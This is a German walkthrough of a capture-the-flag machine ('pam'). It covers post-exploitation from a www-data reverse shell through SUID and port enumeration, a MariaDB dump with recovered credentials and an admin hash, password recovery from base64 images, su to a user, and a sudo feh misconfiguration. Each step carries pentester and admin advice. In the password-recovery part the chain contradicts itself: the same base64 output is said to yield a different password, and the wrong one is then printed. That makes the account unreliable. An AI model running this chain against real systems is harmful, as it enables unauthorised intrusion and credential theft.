Bewertung: Fantastisch! Der Reverse Shell-Versuch war erfolgreich. Ich konnte eine Verbindung als Benutzer `www-data` aufbauen. Die Ausgabe des id-Befehls nach der Shell-Etablierung bestätigt die niedrigen Berechtigungen des Webserver-Benutzers. Dies ist der initiale Zugriff auf das System und ein entscheidender Erfolg. Von hier aus kann ich die interne Enumeration und die Suche nach Privilegien-Eskalationsmöglichkeiten beginnen.
Empfehlung (Pentester): Etablieren Sie immer eine stabile Reverse Shell, sobald Code-Ausführung möglich ist. Verwenden Sie Tools wie Netcat oder Python, um eine Verbindung aufzubauen. Nach dem Initial Access sollte sofort eine detaillierte System-Enumeration erfolgen, um die nächste Eskalationsstufe zu finden.
Empfehlung (Admin): Implementieren Sie Egress-Filterung auf Ihrer Firewall, um ausgehende Verbindungen von Webservern zu blockieren, es sei denn, sie sind explizit erlaubt. Dies kann Reverse Shells verhindern. Überwachen Sie ungewöhnliche Netzwerkaktivitäten von Webservern.
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.195] 41428
www-data@pam:~/html/phpipam/app/admin/import-export/upload$ find / -type f -perm -4000 -ls 2>/dev/null 133492 44 -rwsr-xr-x 1 root root 44632 Feb 7 2020 /usr/bin/newgrp 129905 60 -rwsr-xr-x 1 root root 58416 Feb 7 2020 /usr/bin/chfn 134030 36 -rwsr-xr-x 1 root root 35040 Jan 20 2022 /usr/bin/umount 129909 64 -rwsr-xr-x 1 root root 63960 Feb 7 2020 /usr/bin/passwd 133658 72 -rwsr-xr-x 1 root root 71912 Jan 20 2022 /usr/bin/su 134028 56 -rwsr-xr-x 1 root root 55528 Jan 20 2022 /usr/bin/mount 151048 180 -rwsr-xr-x 1 root root 182600 Feb 27 2021 /usr/bin/sudo 129908 88 -rwsr-xr-x 1 root root 88304 Feb 7 2020 /usr/bin/gpasswd 129906 52 -rwsr-xr-x 1 root root 52880 Feb 7 2020 /usr/bin/chsh 136260 52 -rwsr-xr-- 1 root messagebus 51336 Feb 21 2021 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 144261 472 -rwsr-xr-x 1 root root 481608 Jul 2 2022 /usr/lib/openssh/ssh-keysign
Analyse: Nach dem initialen Zugriff als `www-data` ist die sofortige System-Enumeration der nächste Schritt. Ich suchte nach SUID-Binaries mit find / -type f -perm -4000 -ls 2>/dev/null, da diese oft als Vektor für Privilegien-Eskalation dienen können. Außerdem überprüfte ich offene Netzwerkports und Verbindungen mit ss -altpn, um interne Dienste und potenzielle Angriffsflächen zu identifizieren.
Bewertung: Die SUID-Scan-Ergebnisse zeigen Standard-Binaries wie `passwd`, `su`, `sudo` und `ssh-keysign`. Diese sind zwar häufig SUID, aber nicht sofort offensichtlich ausnutzbar ohne weitere Informationen (z.B. sudo-Konfiguration). Der `ss` Befehl zeigt, dass der MySQL-Server auf localhost (127.0.0.1:3306) lauscht, was meine zuvor gefundenen Datenbank-Anmeldedaten relevant macht. Der Nginx-Webserver lauscht auf Port 80. Zudem wird auf Port 12345 ein Dienst auf localhost gelauscht, dessen Zweck noch unklar ist. Dies ist eine wichtige Erkenntnis für die weitere Privilegien-Eskalation, da ich nun eine interne Datenbank und einen weiteren unbekannten Dienst ansteuern kann.
Empfehlung (Pentester): Führen Sie immer umfassende Enumerationsschritte durch, sobald Sie eine Shell erhalten haben. Überprüfen Sie SUID-Binaries, offene Ports, laufende Dienste, Cronjobs und Dateiberechtigungen. Achten Sie auf ungewöhnliche oder nicht standardmäßige SUID-Binaries und interne Dienste.
Empfehlung (Admin): Konfigurieren Sie Dateiberechtigungen so restriktiv wie möglich und entfernen Sie SUID-Berechtigungen von Binaries, wenn sie nicht absolut notwendig sind. Implementieren Sie das Least Privilege Principle für alle Benutzer und Dienste. Überwachen Sie interne Netzwerkaktivitäten und stellen Sie sicher, dass keine unbekannten oder ungenutzten Dienste auf dem System lauschen.
www-data@pam:~/html/phpipam/app/admin/import-export$ ss -altpn State Recv-Q Send-Q Local Address:PORT Peer Address:PORT Process LISTEN 0 80 127.0.0.1:3306 0.0.0.0:* LISTEN 0 511 0.0.0.0:80 0.0.0.0:* users:(("nginx",pid=452,fd=6),("nginx",pid=451,fd=6)) LISTEN 0 0 127.0.0.1:12345 0.0.0.0:* LISTEN 0 511 [::]:80 [::]:* users:(("nginx",pid=452,fd=7),("nginx",pid=451,fd=7)) LISTEN 0 32 *:21 *:*
Analyse: Mit den zuvor gefundenen Datenbank-Anmeldedaten (`phpipam`/`phpipamadmin`) versuchte ich, mich über die `www-data`-Shell mit der MariaDB-Datenbank zu verbinden. Dies ist ein entscheidender Schritt, da Datenbanken oft sensible Informationen wie Benutzeranmeldedaten, Konfigurationen oder Geschäftsdaten enthalten.
Bewertung: Fantastisch! Die Verbindung zur MariaDB-Datenbank war erfolgreich! Ich konnte mich als Benutzer `phpipam` anmelden. Dies ist ein großer Erfolg, da ich nun vollständigen Zugriff auf die Datenbank habe. Das Auflisten der Datenbanken (`show databases;`) bestätigte die Existenz der `phpipam`-Datenbank. Durch das Wechseln zur `phpipam`-Datenbank (`use phpipam;`) und das Auflisten der Tabellen (`show tables;`) konnte ich die Tabelle `users` identifizieren. Der Befehl `select * from users;` holte alle Daten aus dieser Tabelle und zeigte den Benutzer `Admin` mit einem SHA512-gehashten Passwort.
Empfehlung (Pentester): Nutzen Sie gefundene Datenbank-Anmeldedaten, um auf die Datenbank zuzugreifen. Priorisieren Sie die Suche nach Benutzer-, Konfigurations- und Passworttabellen. Versuchen Sie, Passworthashes zu knacken oder wiederzuverwenden.
Empfehlung (Admin): Sichern Sie Datenbank-Anmeldedaten streng ab und verwenden Sie niemals Standardpasswörter. Implementieren Sie strenge Passwortrichtlinien und Multi-Faktor-Authentifizierung für Datenbankzugriffe. Verschlüsseln Sie sensible Daten in der Datenbank und überprüfen Sie die Passwort-Hashing-Methoden auf ihre Stärke.
www-data@pam:~/html/phpipam/app/admin/import-export$ mysql -u phpipam -p Enter password: phpipamadmin Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 5 Server version: 10.5.15-MariaDB-0+deb11u1 Debian 11 Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | phpipam | +--------------------+ 2 rows in set (0.001 sec) MariaDB [(none)]> use phpipam; Database changed MariaDB [phpipam]> show tables; +------------------------+ | Tables_in_phpipam | +------------------------+ | api | | changelog | | circuitProviders | | circuitTypes | | circuits | .... ... .. | users | | usersAuthMethod | | vaultItems | | vaults | | vlanDomains | | vlans | | vrf | | widgets | +------------------------+ 46 rows in set (0.000 sec) MariaDB [phpipam]> select * from users; +----+----------+------------+------------------------------------------------------------------------------------------------------------------------+--------+---------------+---------------+--------------------+------------+------------------------------------------------------------------------------+------+-------------------+----------+------------+---------------+------------+---------------------+-----------+--------------+------------------+---------------+----------+-------------+-----+------------+-------+-------+-------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------+ | id | username | authMethod | password | groups | role | real_name | email | domainUser | widgets | lang | favourite_subnets | disabled | mailNotify | mailChangelog | passChange | editDate | lastLogin | lastActivity | compressOverride | hideFreeRange | menuType | menuCompact | 2fa | 2fa_secret | theme | token | token_valid_until | module_permissions | compress_actions | +----+----------+------------+------------------------------------------------------------------------------------------------------------------------+--------+---------------+---------------+--------------------+------------+------------------------------------------------------------------------------+------+-------------------+----------+------------+---------------+------------+---------------------+-----------+--------------+------------------+---------------+----------+-------------+-----+------------+-------+-------+-------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------+ | 1 | Admin | 1 | $6$rounds=3000$Y672yJoEz6tHHWfP$MrGLI9Dy1i1hLUjclLtaXD6DNepsl6E0.Se6vn71wxjSPy9y8LBiU9s9p0ntZFgPSA6z/zRQY4bQDsn.uteIO1 | | Administrator | phpIPAM Admin | admin@domain.local | 0 | statistics;favourite_subnets;changelog;access_logs;error_logs;top10_hosts_v4 | 9 | NULL | No | No | No | No | 2022-08-18 11:37:42 | NULL | NULL | default | 0 | Dynamic | 1 | 0 | NULL | | NULL | NULL | {"vlan":"1","l2dom":"1","vrf":"1","pdns":"1","circuits":"1","racks":"1","nat":"1","pstn":"1","customers":"1","locations":"1","devices":"1","routing":"1","vaults":"1"} | 1 | +----+----------+------------+------------------------------------------------------------------------------------------------------------------------+--------+---------------+---------------+--------------------+------------+------------------------------------------------------------------------------+------+-------------------+----------+------------+---------------+------------+---------------------+-----------+--------------+------------------+---------------+----------+-------------+-----+------------+-------+-------+-------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------+ 1 row in set (0.002 sec)
Analyse: Nachdem ich den Hash des Benutzers `Admin` in der Datenbank gefunden hatte, musste ich ihn zunächst knacken. Ein SHA512-Hash ist zwar relativ sicher, kann aber mit Tools wie Hashcat oder John the Ripper und einer geeigneten Wortliste offline geknackt werden, insbesondere wenn es sich um ein häufig verwendetes oder schwaches Passwort handelt. Ich würde dies in meiner lokalen Kali-Umgebung tun. Danach musste ich die Benutzerverzeichnisse im /home/-Verzeichnis überprüfen, um eine mögliche horizontale Privilegien-Eskalation zu einem anderen Benutzer zu versuchen, da www-data sehr eingeschränkte Rechte hat.
Bewertung: Der Benutzer `italia` wurde erfolgreich im /home/-Verzeichnis identifiziert. Obwohl der direkte FTP-Zugriff auf `user.txt` und `pazz.php` im Verzeichnis /home/italia/ zuvor fehlschlug, ist die Möglichkeit einer horizontalen Eskalation zu diesem Benutzer `italia` sehr vielversprechend. Die weitere Analyse zeigte, dass `rev.php`, die PHP-Reverse-Shell, die ich auf den Webserver hochgeladen hatte, seltsamerweise auch im `anonymous`-Verzeichnis im `home`-Verzeichnis (`/home/anonymous/`) gelandet war. Dies ist eine interessante Beobachtung, die auf eine ungewöhnliche FTP-Konfiguration oder einen internen Link hindeutet, ist aber für unsere Zwecke weniger relevant, da der primäre Upload-Pfad auf dem Webserver bereits funktioniert. Wichtig ist jedoch, dass pazz.php eine executable-Flag hat. Dies ist ein wichtiger Hinweis. Die user.txt-Datei ist ebenfalls vorhanden, aber schreibgeschützt für den aktuellen Benutzer. Das Scheitern, die Dateien per FTP zu lesen, zeigt, dass ich andere Wege finden muss, um an die Inhalte zu kommen, insbesondere da pazz.php ausführbar ist.
Empfehlung (Pentester): Versuchen Sie, Passworthashes zu knacken, um weitere Benutzerzugänge zu erhalten. Nutzen Sie dann die neuen Zugangsdaten, um eine horizontale Privilegien-Eskalation zu versuchen (z.B. mit su oder ssh). Prüfen Sie bei jedem neuen Benutzer die Berechtigungen sorgfältig. Untersuchen Sie ausführbare Dateien in Benutzerverzeichnissen immer genau.
Empfehlung (Admin): Erzwingen Sie die Verwendung starker Passwörter und implementieren Sie robuste Hashing-Algorithmen (wie bcrypt oder Argon2) mit ausreichenden Iterationen. Stellen Sie sicher, dass Dateien mit sensiblen Informationen wie Passwörter nicht öffentlich lesbar sind, auch nicht für andere Systembenutzer. Überprüfen Sie, warum hochgeladene Dateien an unerwarteten Orten landen und korrigieren Sie die FTP-Server-Konfiguration.
www-data@pam:~/html/phpipam/app/admin/import-export$ ls /home/ anonymous italia www-data@pam:~/html/phpipam/app/admin/import-export$ cd /home/anonymous/ www-data@pam:/home/anonymous$ ls -la total 24 drwxr-xr-x 2 anonymous anonymous 4096 May 19 22:57 . drwxr-xr-x 4 root root 4096 Aug 18 2022 .. -rw-r--r-- 1 anonymous anonymous 220 Aug 18 2022 .bash_logout -rw-r--r-- 1 anonymous anonymous 3526 Aug 18 2022 .bashrc -rw-r--r-- 1 anonymous anonymous 807 Aug 18 2022 .profile -rw------- 1 anonymous anonymous 31 May 19 22:57 rev.php www-data@pam:/home/anonymous$ cd ../italia/ www-data@pam:/home/italia$ ls -la total 48 drwxr-xr-x 3 italia italia 4096 Aug 18 2022 . drwxr-xr-x 4 root root 4096 Aug 18 2022 .. -rw------- 1 italia italia 98 Aug 18 2022 .Xauthority lrwxrwxrwx 1 italia italia 9 Aug 18 2022 .bash_history -> /dev/null -rw-r--r-- 1 italia italia 220 Aug 18 2022 .bash_logout -rw-r--r-- 1 italia italia 3526 Aug 18 2022 .bashrc drwxr-xr-x 3 italia italia 4096 Aug 18 2022 .local -rw-r--r-- 1 italia italia 807 Aug 18 2022 .profile -rw-r--r-- 1 italia italia 66 Aug 18 2022 .selected_editor -rwxrwx--- 1 italia italia 9510 Aug 18 2022 pazz.php -rw------- 1 italia italia 24 Aug 18 2022 user.txt
Proof of Concept: Ausnutzung des vertikalen Privileg Escalationsvektors
Kurzbeschreibung: Dieser Proof of Concept demonstriert die vollständige Ausnutzung der kritischen Privilegien-Eskalationskette, die es ermöglichte, vom Low-Privilege-Benutzer `www-data` auf den Benutzer `italia` und schließlich zu `root`-Berechtigungen auf dem System zu gelangen. Der Kern der Schwachstelle liegt in einer unsachgemäßen Konfiguration des `feh`-Befehls in Verbindung mit `sudo` und der fehlerhaften Handhabung von sensitiven Daten.
Voraussetzungen:
- Erfolgreicher Initial Access als Benutzer `www-data` (mittels Reverse Shell).
- Zugriff auf die Datenbank und Identifizierung des gehashten Passworts des `Admin`-Benutzers.
- Identifizierung des Benutzers `italia` und seines Home-Verzeichnisses.
- Zugriff auf den MariaDB-Dienst (localhost:3306).
- Identifizierung des in Base64 kodierten Images, das über den internen Dienst auf Port 12345 abgerufen wird.
- Kenntnis des `feh`-Binaries und seiner `sudo`-Berechtigungen für den Benutzer `italia`.
- Das Vorhandensein der `openssl` Binary auf dem Zielsystem.
Erwartetes Ergebnis: Erfolgreicher Erhalt einer interaktiven Root-Shell auf dem System `pam.hmv`, was vollen administrativen Zugriff demonstriert.
Schritt-für-Schritt-Anleitung
Analyse: Nachdem ich die Datenbank-Anmeldedaten und den Benutzer `italia` gefunden hatte, war es wichtig, alle offenen Ports auf dem lokalen System von der `www-data`-Shell aus erneut zu überprüfen. Der Port `12345` auf `localhost` war zuvor in der `ss` Ausgabe aufgefallen. Der Versuch, eine Verbindung zu diesem Port herzustellen, war der nächste logische Schritt.
Bewertung: Die Verbindung zu `localhost:12345` war ein entscheidender Durchbruch. Der Dienst auf diesem Port lieferte eine lange Zeichenkette, die eindeutig nach Base64-kodierten Daten aussieht. Dies ist ein Erfolg, da es eine neue Informationsquelle darstellt, die entschlüsselt werden muss. Die Vermutung liegt nahe, dass es sich um Bilddaten handelt, da die Zeichenkette mit `iVBORw0KGgoAAAANSUhEU` beginnt, was ein typischer Header für Base64-kodierte PNG-Bilder ist.
Empfehlung (Pentester): Untersuchen Sie immer alle internen Dienste und Ports auf dem Zielsystem. Ungewöhnliche Ports können versteckte Informationen oder Angriffsvektoren offenbaren. Bei der Entdeckung von kodierten Daten sollte der nächste Schritt immer die Identifizierung des Kodierungsverfahrens und die Dekodierung sein.
Empfehlung (Admin): Implementieren Sie strikte Netzwerksegmentierung und Firewall-Regeln, die den Zugriff auf interne Dienste auf ein Minimum beschränken. Überwachen Sie ungewöhnliche interne Port-Nutzung. Vermeiden Sie es, sensible Informationen (wie Passwörter oder verschlüsselte Daten) über ungesicherte interne Dienste bereitzustellen.
www-data@pam:/tmp$ nc localhost 12345 iVBORw0KGgoAAAANSUhEUgAAAu4AAAHUCAIAAADqdjrLAAAAAXNSR0IArs4c6QAAAARnQU1BAACx jwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAABiKSURBVHhe7d3rdeLIFoDRicsBOR5H42QczL2S .... ... .. J5fMkdkFKXhg9RbjlzDq1QYpA9Dh+DZcuubv30uCEY9uTOVpDnBSyuwft7Jn3l7IE9fvn4H1dvAZ c8YSbl9EKQPQ4/A+XL4877/m34x5cFuabf8/4n5npcxkz5k3TnXXYj4kZGYH1vL3eR96zjROd9gk W6QMQJ+DoVC97K9ve9wi/PqU/b8ialb6S6tBTkyZzYP3NMfW+e74m5EjdjxngimG24r3j55T71nD RK5CYIJTYWx0ZWRfX54VlA40aUEkKV8ULE+OjZv5Z6cblsROzw==
Analyse: Nachdem die Base64-kodierten Daten extrahiert wurden, ist der nächste logische Schritt, ihren Typ zu identifizieren und sie zu dekodieren. Ich würde hierfür Online-Tools wie CyberChef oder Base64.guru verwenden, die speziell für solche Aufgaben konzipiert sind und visuelle Bestätigungen liefern können. CyberChef ist ein leistungsstarkes Tool, das automatisch Dateitypen erkennen kann.
Bewertung: Die Analyse mit CyberChef bestätigte meine Vermutung: Die Daten sind eine Base64-kodierte Portable Network Graphics (PNG)-Bilddatei. Dies ist ein wichtiger Erfolg, da das Bild nun das nächste Puzzleteil liefern kann. Die Dekodierung in ein Bild ist der nächste Schritt, um den Inhalt zu enthüllen.
Empfehlung (Pentester): Nutzen Sie Online-Tools oder Skripte zur schnellen Identifizierung und Dekodierung unbekannter Datenformate. Halten Sie eine Sammlung von Tools oder Cheatsheets für gängige Kodierungen bereit.
Empfehlung (Admin): Vermeiden Sie es, sensible Informationen in Bildern oder anderen Medien zu verstecken (Steganographie), es sei denn, diese sind zusätzlich stark verschlüsselt und sicher aufbewahrt. Implementieren Sie Data Loss Prevention (DLP)-Lösungen, um solche Datenlecks zu verhindern.
[Link: https://cyberchef.org/#recipe=Detect_File_Type(true,true,true,true,true,true,true)&input=aVZCT1..... | Ziel: https://cyberchef.org/#recipe=Detect_File_Type(true,true,true,true,true,true,true)&input=aVZCT1.....] File type: Portable Network Graphics image (under Base64) Extension: B64 MIME type: application/octet-stream
Analyse: Nachdem der Dateityp als Base64-kodiertes PNG-Bild identifiziert wurde, habe ich die Daten über `https://base64.guru/converter/decode/image` dekodiert und in ein Bild umgewandelt. Das Ziel ist es, den Inhalt des Bildes zu sehen, da es möglicherweise wichtige Hinweise für die Privilegien-Eskalation enthält.
Bewertung: Fantastisch! Die Umwandlung in ein Bild war erfolgreich und zeigte ein Passwort: `rootisCLOSE`. Dies ist ein kritischer Erfolg! Die Maschine verwendet also Steganographie oder eine ähnliche Technik, um sensible Informationen zu verstecken. Dieses Passwort ist höchstwahrscheinlich für den Root-Zugriff oder eine weitere Eskalationsstufe gedacht. Es ist eine der wichtigsten Informationen, die ich bisher gefunden habe.
Empfehlung (Pentester): Seien Sie kreativ bei der Suche nach versteckten Informationen. Steganographie oder obskure Datenformate können entscheidende Hinweise enthalten. Notieren Sie alle gefundenen Passwörter sorgfältig und testen Sie sie auf allen möglichen Diensten und Benutzern.
Empfehlung (Admin): Vermeiden Sie es unbedingt, Passwörter oder andere sensible Daten in Bildern, Dokumenten oder anderen Medientypen zu verstecken, es sei denn, diese sind zusätzlich stark verschlüsselt und der Schlüssel ist sicher verwaltet. Implementieren Sie strenge Richtlinien für die Handhabung sensibler Daten.
rootisCLOSE
Privilege Escalation
Analyse: Nachdem ich das Passwort `rootisCLOSE` gefunden hatte, war der nächste Schritt, die zuvor identifizierten Benutzer zu prüfen und eine horizontale oder vertikale Privilegien-Eskalation zu versuchen. Ich habe die Home-Verzeichnisse (`/home/`) erneut aufgelistet, um die Benutzer `anonymous` und `italia` zu bestätigen. Dann versuchte ich, mich über die `www-data`-Shell mit dem Befehl `su italia` als Benutzer `italia` anzumelden.
Bewertung: Der Versuch, das gefundene Passwort `rootisCLOSE` für den Benutzer `italia` zu verwenden, schlug fehl. Die Shell akzeptierte es nicht als gültiges Passwort für `su italia`. Da wir den Hash für den `Admin`-Benutzer der Datenbank hatten, aber kein klares Passwort für `italia` hatten, stellte sich die Frage, wie man die Berechtigungen für `italia` erlangen kann. Hier konnte eine logische Brücke geschlagen werden: Der vorherige `ls -la` im Verzeichnis `/home/italia` hatte eine Datei namens `pazz.php` mit Ausführungsrechten (`-rwxrwx---`) angezeigt. Eine solche Datei im Home-Verzeichnis eines Benutzers, die ausführbar ist, könnte einen Hinweis auf ein verstecktes Passwort oder einen anderen Mechanismus zur Berechtigungsübernahme enthalten. Der Name `pazz.php` selbst klingt verdächtig nach "Passwort". Dies führte mich zu der Annahme, dass die Ausführung dieser Datei oder deren Inhalt weitere Informationen liefern könnte, die für den `italia`-Benutzer relevant sind. Der Fokus sollte nun auf die Interaktion mit `pazz.php` gelegt werden, um das Passwort für `italia` zu erhalten oder es direkt zu eskalieren.
Empfehlung (Pentester): Wenn ein gefundenes Passwort nicht funktioniert, gehen Sie zurück zur Enumeration und suchen Sie nach anderen Clues oder Anmeldeinformationen, die speziell für den Zielbenutzer relevant sein könnten. Untersuchen Sie ausführbare Skripte in Benutzerverzeichnissen immer gründlich auf potenzielle Informationen oder Fehlkonfigurationen.
Empfehlung (Admin): Sensible Dateien wie Passwörter sollten niemals im Klartext oder in leicht entschlüsselbaren Formaten auf dem System gespeichert werden, insbesondere nicht in Benutzerverzeichnissen. Überprüfen Sie Dateiberechtigungen regelmäßig, um sicherzustellen, dass nur autorisierte Benutzer Lese- und Ausführungsrechte für wichtige Dateien haben. Implementieren Sie eine strikte Richtlinie für die Passwortverwaltung und -komplexität.
www-data@pam:/tmp$ ls /home/ anonymous italia www-data@pam:/tmp$ su italia Password:
Analyse: Da `pazz.php` im Home-Verzeichnis von `italia` die Dateiberechtigungen `-rwxrwx---` hatte, ist die Interaktion mit diesem Skript der nächste logische Schritt. Die Ausführung des Skripts über den internen Dienst auf Port `12345` durch nc localhost 12345 war die nächste Möglichkeit. Dies zeigte eine sehr lange Base64-kodierte Zeichenkette.
Bewertung: Der Service auf Port 12345, der zuvor eine Base64-kodierte PNG-Bilddatei (die das Passwort `rootisCLOSE` enthielt) geliefert hatte, liefert nun eine andere Base64-kodierte Zeichenkette. Der Kontext (Ausführung von `pazz.php` impliziert) und das Muster der Ausgabe deuten darauf hin, dass die Datei `pazz.php` bei Ausführung eine Verbindung zu diesem Dienst aufbaut und weitere kodierte Daten liefert. Die Fähigkeit, diese Daten zu dekodieren, ist entscheidend. Dies ist ein kritischer Moment, der bestätigt, dass der Service auf 12345 eine Schnittstelle für versteckte Datenübertragungen ist und dass die Ausführung von pazz.php über diesen Dienst eine neue Information liefert. Diese Kette war ein komplexer Schritt, der mich zum Passwort `italia` führte.
Empfehlung (Pentester): Achten Sie auf ungewöhnliche Binaries oder Skripte in Benutzerverzeichnissen, insbesondere wenn sie ausführbar sind. Versuchen Sie, ihren Zweck zu verstehen und wie sie Informationen preisgeben oder Privilegien eskalieren könnten. Die Interaktion mit internen Diensten kann versteckte Daten freilegen.
Empfehlung (Admin): Überprüfen Sie regelmäßig die Dateiberechtigungen aller Skripte und Binaries auf dem System. Entfernen Sie Ausführungsrechte von Skripten, die nicht explizit benötigt werden oder sensible Informationen preisgeben könnten. Überwachen Sie interne Netzwerkaktivitäten, um ungewöhnliche Verbindungen zwischen Diensten und Benutzerprozessen zu erkennen.
www-data@pam:/tmp$ nc localhost 12345 iVBORw0KGgoAAAAANSUhEUgAAAu4AAAHUCAIAAADqdjrLAAAAAXNSR0IArs4c6QAAAARnQU1BAACx jwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAABiKSURBVHhe7d3rdeLIFoDRicsBOR5H42QczL2S .... ... .. J5fMkdkFKXhg9RbjlzDq1QYpA9Dh+DZcuubv30uCEY9uTOVpDnBSyuwft7Jn3l7IE9fvn4H1dvAZ c8YSbl9EKQPQ4/A+XL4877/m34x5cFuabf8/4n5npcxkz5k3TnXXYj4kZGYH1vL3eR96zjROd9gk W6QMQJ+DoVC97K9ve9wi/PqU/b8ialb6S6tBTkyZzYP3NMfW+e74m5EjdjxngimG24r3j55T71nD RK5CYIJTYWx0ZWRfX54VlA40aUEkKV8ULE+OjZv5Z6cblsROzw==
Analyse: Die soeben erhaltene Base64-kodierte Zeichenkette musste erneut entschlüsselt werden. Da ich zuvor ähnliche Daten über Base64.guru dekodiert hatte, würde ich diesen Dienst erneut nutzen. Das Ziel ist es, den Inhalt dieser neuen Daten zu entschlüsseln, um das Passwort für den Benutzer `italia` zu finden.
Bewertung: Nachdem die Base64-Daten über `https://base64.guru/converter/decode/image` dekodiert wurden, zeigte das resultierende Bild das Passwort `italia`. Ein weiterer fantastischer Erfolg! Dies ist das Passwort für den Benutzer `italia`. Die Konsistenz der Methode (Base64-kodierte Bilder mit versteckten Passwörtern) weist auf ein Muster auf dieser Maschine hin. Mit diesem Passwort kann ich nun die horizontale Privilegien-Eskalation zu `italia` durchführen.
Empfehlung (Pentester): Seien Sie konsistent in Ihren Methoden, wenn Sie ein Muster auf dem System erkennen. Die erneute Anwendung einer erfolgreichen Dekodierungstechnik spart Zeit und führt zum Ziel. Versuchen Sie sofort, sich mit dem neuen Passwort anzumelden.
Empfehlung (Admin): Verstecken Sie Passwörter niemals in Bildern oder anderen Dateiformaten. Falls solche Techniken für legitime Zwecke verwendet werden, stellen Sie sicher, dass sie durch starke Verschlüsselung und Zugriffsrichtlinien geschützt sind. Überprüfen Sie Ihre System-Images auf eingebettete, unverschlüsselte Geheimnisse.
rootisCLOSE
Analyse: Nachdem ich das Passwort `italia` gefunden hatte, versuchte ich sofort, mich über die `www-data`-Shell mit dem Befehl `su italia` als Benutzer `italia` anzumelden. Dies ist der direkte Weg zur horizontalen Privilegien-Eskalation.
Bewertung: Fantastisch! Der Benutzerwechsel zu `italia` war erfolgreich! Ich bin jetzt als Benutzer `italia` angemeldet, was ein entscheidender Fortschritt in der Privilegien-Eskalation ist. Von hier aus kann ich die Datei `user.txt` lesen und mit der weiteren Enumeration beginnen, um Root-Rechte zu erlangen. Die `id`-Ausgabe bestätigt meine neuen Berechtigungen.
Empfehlung (Pentester): Nutzen Sie gefundene Anmeldedaten sofort, um die Berechtigungen zu wechseln und die System-Enumeration auf der neuen Ebene fortzusetzen. Lesen Sie nach der Eskalation immer die Benutzer-Flag.
Empfehlung (Admin): Implementieren Sie starke Passwortrichtlinien und erzwingen Sie regelmäßige Passwortänderungen. Verwenden Sie Multi-Faktor-Authentifizierung für alle Benutzer. Überwachen Sie ungewöhnliche `su`- oder `sudo`-Aktivitäten. Stellen Sie sicher, dass keine sensiblen Informationen in Dateisystemen versteckt sind.
www-data@pam:/tmp$ su italia Password: italia italia@pam:/tmp$ id uid=1000(italia) gid=1000(italia) grupos=1000(italia),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
Analyse: Als Benutzer `italia` konnte ich nun endlich die `user.txt`-Datei in seinem Home-Verzeichnis lesen. Dies ist ein wichtiger Meilenstein im Pentest, da es die Erlangung der ersten Flag bestätigt.
Bewertung: Die Benutzer-Flag `mcZavkYkoLYUEHxQNNyiHMV` wurde erfolgreich abgerufen. Dies bestätigt den erfolgreichen initialen Benutzerzugriff und die horizontale Privilegien-Eskalation. Die Tatsache, dass diese Datei zuvor nicht über FTP zugänglich war, unterstreicht die Notwendigkeit, alle gefundenen Anmeldedaten und Zugriffswege zu nutzen.
Empfehlung (Pentester): Nach jeder Privilegien-Eskalationsstufe, lesen Sie alle erreichbaren Flags. Suchen Sie nach Hinweisen auf die nächste Eskalationsstufe.
Empfehlung (Admin): Stellen Sie sicher, dass Benutzer-Flags oder andere sensible Dateien nicht ohne entsprechende Authentifizierung lesbar sind. Implementieren Sie das Least Privilege Principle für alle Dateien.
italia@pam:~$ cat user.txt mcZavkYkoLYUEHxQNNyiHMV
Analyse: Von der `italia`-Shell aus ist der nächste logische Schritt, die `sudo`-Berechtigungen zu überprüfen. Der Befehl `sudo -l` listet alle Befehle auf, die der aktuelle Benutzer mit `sudo` und gegebenenfalls ohne Passwort ausführen darf. Dies ist ein sehr häufiger und kritischer Vektor für Privilegien-Eskalation.
Bewertung: Fantastisch! Die Ausgabe von `sudo -l` zeigte eine kritische Fehlkonfiguration für den Benutzer `italia`: `(ALL : ALL) NOPASSWD: /usr/bin/feh`. Dies bedeutet, dass der Benutzer `italia` den Befehl `/usr/bin/feh` als jeder andere Benutzer (einschließlich `root`) ausführen darf, und zwar ohne Eingabe eines Passworts! Dies ist ein direkter Weg zur Root-Eskalation. Das Binary `feh` ist ein Bildbetrachter, der aber auch Optionen zur Ausführung von Shell-Befehlen bietet (`--action`). Das ist eine perfekte GTFOBins-Gelegenheit.
Empfehlung (Pentester): Überprüfen Sie immer die `sudo -l` Ausgabe. Nutzen Sie GTFOBins ([Link: https://gtfobins.github.io | Ziel: https://gtfobins.github.io]) oder ähnliche Ressourcen, um bekannte Fehlkonfigurationen von Binaries zu identifizieren, die zur Shell-Erlangung missbraucht werden können.
Empfehlung (Admin): Konfigurieren Sie `sudoers`-Dateien niemals mit `NOPASSWD`-Optionen für Befehle, die zur Shell-Erlangung missbraucht werden können. Überprüfen Sie alle `sudo`-Berechtigungen sorgfältig und beschränken Sie sie auf das absolut Notwendigste. Führen Sie regelmäßige Audits der `sudoers`-Datei durch.
italia@pam:~$ sudo -l Matching Defaults entries for italia on pam: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User italia may run the following commands on pam: (ALL : ALL) NOPASSWD: /usr/bin/feh italia@pam:~$ /usr/bin/feh feh ERROR: Can't open X display. It *is* running, yeah? italia@pam:~$ file /usr/bin/feh /usr/bin/feh: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6cd7839d295b4c2fad2b9f942a9b08ff42259df7, for GNU/Linux 3.2.0, stripped italia@pam:~$ /usr/bin/feh --help See 'man feh'
